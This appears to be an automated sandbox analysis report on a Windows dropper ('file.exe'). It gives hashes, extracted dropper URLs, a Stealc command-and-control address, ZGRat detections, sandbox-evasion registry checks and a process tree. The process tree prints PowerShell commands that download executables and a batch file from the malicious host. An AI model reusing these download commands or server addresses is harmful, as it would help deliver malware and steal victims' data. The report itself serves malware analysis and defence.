Analysis
- max time kernel
148s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
09/05/2024, 15:43
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/INetC.dll
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/INetC.dll
Resource
win10v2004-20240426-en
General
- Target file.exe
- Size 49KB
- Sample240509-s6dlpace88
- SHA256 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
- MD5 213c0265511727869c959abd24ea3677
- SHA1 22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9
- SHA512 bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e
- SSDEEP 1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
-
ps1
-
exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
-
ps1
-
exe.dropper
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000
Extracted
-
stealc
-
http://185.172.128.150
-
url_path
/c698e1bc8a2f5e6d.php
Signatures
- Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/4436-141-0x00000261F6D90000-0x00000261FA5C4000-memory.dmp family_zgrat_v1 behavioral2/memory/4436-142-0x00000261FE510000-0x00000261FE61A000-memory.dmp family_zgrat_v1 behavioral2/memory/4436-146-0x00000261FC5A0000-0x00000261FC5C4000-memory.dmp family_zgrat_v1 - Blocklisted process makes network request 5 IoCs
flow pid Process 16 3360 powershell.exe 18 3744 powershell.exe 19 3744 powershell.exe 21 3840 powershell.exe 23 3840 powershell.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation i1.exe Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation u3do.1.exe - Executes dropped EXE 3 IoCs
pid Process 4380 i1.exe 1076 u3do.0.exe 2604 u3do.1.exe - Loads dropped DLL 1 IoCs
pid Process 4680 file.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 3360 powershell.exe 3744 powershell.exe 3840 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 3064 4380 WerFault.exe 85 - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3do.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3do.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3do.1.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u3do.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u3do.0.exe - Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 3360 powershell.exe 3360 powershell.exe 3744 powershell.exe 3744 powershell.exe 3840 powershell.exe 3840 powershell.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1076 u3do.0.exe 1076 u3do.0.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3360 powershell.exe Token: SeDebugPrivilege 3744 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeDebugPrivilege 4436 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe - Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe - Suspicious use of SendNotifyMessage 7 IoCs
pid Process 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe 2604 u3do.1.exe - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 4680 wrote to memory of 988 4680 file.exe 81 PID 4680 wrote to memory of 988 4680 file.exe 81 PID 4680 wrote to memory of 988 4680 file.exe 81 PID 988 wrote to memory of 3360 988 cmd.exe 83 PID 988 wrote to memory of 3360 988 cmd.exe 83 PID 988 wrote to memory of 3360 988 cmd.exe 83 PID 988 wrote to memory of 3744 988 cmd.exe 84 PID 988 wrote to memory of 3744 988 cmd.exe 84 PID 988 wrote to memory of 3744 988 cmd.exe 84 PID 988 wrote to memory of 4380 988 cmd.exe 85 PID 988 wrote to memory of 4380 988 cmd.exe 85 PID 988 wrote to memory of 4380 988 cmd.exe 85 PID 988 wrote to memory of 3840 988 cmd.exe 86 PID 988 wrote to memory of 3840 988 cmd.exe 86 PID 988 wrote to memory of 3840 988 cmd.exe 86 PID 4380 wrote to memory of 1076 4380 i1.exe 89 PID 4380 wrote to memory of 1076 4380 i1.exe 89 PID 4380 wrote to memory of 1076 4380 i1.exe 89 PID 4380 wrote to memory of 2604 4380 i1.exe 91 PID 4380 wrote to memory of 2604 4380 i1.exe 91 PID 4380 wrote to memory of 2604 4380 i1.exe 91 PID 2604 wrote to memory of 4436 2604 u3do.1.exe 96 PID 2604 wrote to memory of 4436 2604 u3do.1.exe 96
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\est.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3360
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-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3744
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-
C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Users\Admin\AppData\Local\Temp\u3do.0.exe"C:\Users\Admin\AppData\Local\Temp\u3do.0.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1076
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-
C:\Users\Admin\AppData\Local\Temp\u3do.1.exe"C:\Users\Admin\AppData\Local\Temp\u3do.1.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4436
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 11564⤵
- Program crash
PID:3064
-
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4380 -ip 43801⤵PID:1912
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 1KB
- SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
- MD5 6195a91754effb4df74dbc72cdf4f7a6
- SHA1 aba262f5726c6d77659fe0d3195e36a85046b427
- SHA512 ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 16KB
- SHA256 9aab27ad18fd6b1169d2ebeb7113f83989465544c48558d8668c3f9c41ba0ffe
- MD5 5e79766dc6d8c05c9f1938344e364279
- SHA1 01e3df80e48ca839cbdfa84841989495fd2db0e0
- SHA512 1cdec040cfe29dab7f4fb93758871fb77f5b689f439198688cb012bd30f161ead7a000198b01c223ad40d4e5b95aa3e194a850569661101ab076876cb74aa807
- SSDEEP 384:6j+j/9i+G3zjEKeK2r8o988T5K6seY85F/5f3SoZRlydaPErAtX:mh3zINTh88T5N37ZSuU4Eru
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 16KB
- SHA256 98d23949fe323631d1cad4867835aa4edec29d2e253dd8060cc93202afaf5909
- MD5 d5ed3d02628557603b0375ccbe8ff85b
- SHA1 17f3c7b8b2e412c27f6199e77711d194a6cf82bf
- SHA512 c48d20ec63871a96ef4f82cc62d9823b1eaafd71f0943df2ce8a20c5ac3182c7c704476bda050fa6418ac8ed242c2fd8b6924baae06480fea1a80548db9fe0b8
- SSDEEP 384:Hrf+jh91sWLtCqBpzJkNo9o5gNY1qxV/5IxGIfMqNG+dt6qg/O1:LfYszqzeOo5gN3xVCAIfdNG+dNT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyfaso1a.egt.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\i1.exe
- Size 382KB
- SHA256 c697ba11d34c3fcce2efe3d2699c68c933f986b36ccb6b9fb0e9c08fcbcfa7e0
- MD5 278218d2ac13d2d7134e6e9a0828e4d5
- SHA1 05066b895c41396d0321bc3a032f2f7c2e1811e3
- SHA512 f1e41a457c01a6ad0ac00e3a004023429d644b1a9bb193afd277f333f1bd4bd00059e37c6df2565b9c7e8bda3cbe3f713b2d39d04ca0c5ad169788efdb230b7d
- SSDEEP 6144:1jNHmrGVx/2m1f+eo864r+m4fSw3Axa3Uet46nBeJKts:1jNGexJo8raXfS8Axa35t46nUJKts
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\INetC.dll
- Size 25KB
- SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
- MD5 40d7eca32b2f4d29db98715dd45bfac5
- SHA1 124df3f617f562e46095776454e1c0c7bb791cc7
- SHA512 5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d
- SSDEEP 384:pjj9e9dE95XD+iTx58Y5oMM3O9MEoLr1VcQZ/ZwcSyekMRlZ4L4:dAvE90GuY2tO93oLrJRM7Z4E
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\est.bat
- Size 735B
- SHA256 da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37
- MD5 f32d05160acf8325e9a09f09f80d16f4
- SHA1 46e159b71e6ef99076c4002e1fda134e1d0a86c9
- SHA512 147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\u3do.0.exe
- Size 218KB
- SHA256 7dbf762b2ef2b651a4e8c7b7d9b8996a1de0cfa44119452f1d3f29bfe03dfd86
- MD5 5246be38e251c182f838adf4ef42ad40
- SHA1 fe09ba5ee40d4c4897c8f8e3fa819c13b0e324d9
- SHA512 a3f7c75a2355935d19c733d67aeff3e08f382ae60c1ba45364974ff91ca779ac5e49c40475fe35b8923a130e8670de0311fdf3c03de935312869e9a9a8b21b14
- SSDEEP 3072:9+VG/f97cyWe17uPXfaVd/uKp+N/6V0th87kc45Kl/h:ww/f9h5uPXUduKpybth87
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\u3do.1.exe
- Size 4.6MB
- SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
- MD5 397926927bca55be4a77839b1c44de6e
- SHA1 e10f3434ef3021c399dbba047832f02b3c898dbd
- SHA512 cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
- SSDEEP 49152:1ZRCckM8wwGbtBiRFWSGqCW4FL5wslsAEL1ksS2NHsF3TjZ1I6bqmHC0Jg:1ZRCwrb64XwWsAwFaFXxg
- MD5 SHA1 SHA512 SSDEEP